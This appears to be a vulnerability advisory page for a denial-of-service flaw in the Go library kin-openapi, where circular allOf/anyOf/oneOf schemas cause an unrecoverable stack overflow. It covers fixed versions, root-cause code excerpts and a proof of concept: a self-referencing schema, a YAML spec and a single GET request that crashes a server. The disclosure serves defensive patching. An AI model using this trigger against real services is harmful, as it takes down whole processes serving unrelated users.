high · 7.5 Patched

kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

CVE-2026-100354 · GHSA-g8cf-rcjf-c8cf · published 15 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-100354?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • github.com/getkin/kin-openapi (Go) < 0.149.0

How to check

  1. Run go list -m github.com/getkin/kin-openapi in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade github.com/getkin/kin-openapi to 0.149.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular `$ref`s on purpose (to support recursive data structures), and `Schema.validate()` uses stack-based cycle detection. `Validate()` therefore accepts a schema whose `allOf` / `anyOf` / `oneOf` chain refers back to itself, returning no error. The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a **fatal stack overflow** (`runtime: goroutine stack exceeds ... limit` / `fatal error: stack overflow`), which is **not** a recoverable panic. `recover()` cannot catch it, so `net/http`'s per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients. Two independent unguarded recursion sites were confirmed: 1. `openapi3/schema.go` — `visitJSON` / `visitXOFOperations` (reached by `VisitJSON`, i.e. response validation and direct schema validation). 2. `openapi3filter/req_resp_decoder.go` — `decodeValue` (reached first during request parameter decoding). The report also identifies the same gap in `urlValuesDecoder.parseValue` and `buildResObj`/`buildFromSchemas`. ## Details ### Root Cause `Schema.validate()` has cycle detection (`openapi3/schema.go:1396`): ```go func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) { if slices.Contains(stack, schema) { return stack, nil } // ... stack = append(stack, schema) ``` The runtime visitor has none. `visitJSON` (line 1951) calls `visitXOFOperations` (line 2189), which iterates the combinator slice and calls `visitJSON` again on each sub-schema: ```go func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) { // ... for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf v := item.Value // no check for item.Value == schema (or any ancestor) if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle ``` The request-decoding path has the same structure in `decodeValue` (`openapi3filter/req_resp_decoder.go:270`): ```go func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) { if len(schema.Value.AllOf) > 0 { for _, sr := range schema.Value.AllOf { value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check ``` ## Proof of Concept ### Environment - kin-openapi v0.144.0 (tag `v0.144.0`, commit `f0407d5`) - Go 1.26.7 ### Path A: response / direct schema validation (`VisitJSON`) A schema whose `allOf` refers to itself. `Validate()` is called first to show the schema is accepted, then `VisitJSON()`: ```go recursiveSchema := &openapi3.Schema{ Type: &openapi3.Types{"object"}, Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}}, } recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular _ = recursiveSchema.Validate(ctx) // accepted, no error _ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes ``` Output: ``` Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow goroutine 1 [running]: github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...) openapi3/schema.go:1951 github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...) openapi3/schema.go:2309 github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...) openapi3/schema.go:1981 github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...) openapi3/schema.go:2309 ... (repeats until stack overflow) ``` A `defer recover()` placed around the call did **not** catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable. ### Path B: HTTP request validation against a loaded spec (realistic delivery) A legal OAS 3.0 spec with a circular `allOf` `$ref`, loaded normally, served behind a standard `net/http` handler using `openapi3filter.ValidateRequest`: ```yaml openapi: '3.0.0' info: { title: Circular allOf crash PoC, version: '1.0' } paths: /test: get: parameters: - name: data in: query schema: { $ref: '#/components/schemas/Recursive' } responses: { '200': { description: OK } } components: schemas: Recursive: type: object allOf: - $ref: '#/components/schemas/Recursive' properties: name: { type: string } ``` A single `GET /test?data=x` crashes the whole server process: ``` Validate() ACCEPTED the spec with circular allOf $ref Sending GET /test?data=x through a real net/http server... runtime: goroutine stack exceeds 1000000000-byte limit fatal error: stack overflow ... github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/req_resp_decoder.go:278 github.com/getkin/kin-openapi/openapi3filter.decodeValue(...) openapi3filter/req_resp_decoder.go:278 ... (repeats until stack overflow) ``` The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard `net/http` per-connection `recover()` did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host. ### Fix verification Adding stack-based cycle detection to both sites (matching `validate()`'s pattern) eliminated the crash: - `visitJSON` guard: `VisitJSON()` returned normally instead of crashing. - `decodeValue` guard: the same `GET /test?data=x` returned a clean `400`: ``` Response: 400 "invalid: parameter \"data\" in query has an e…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON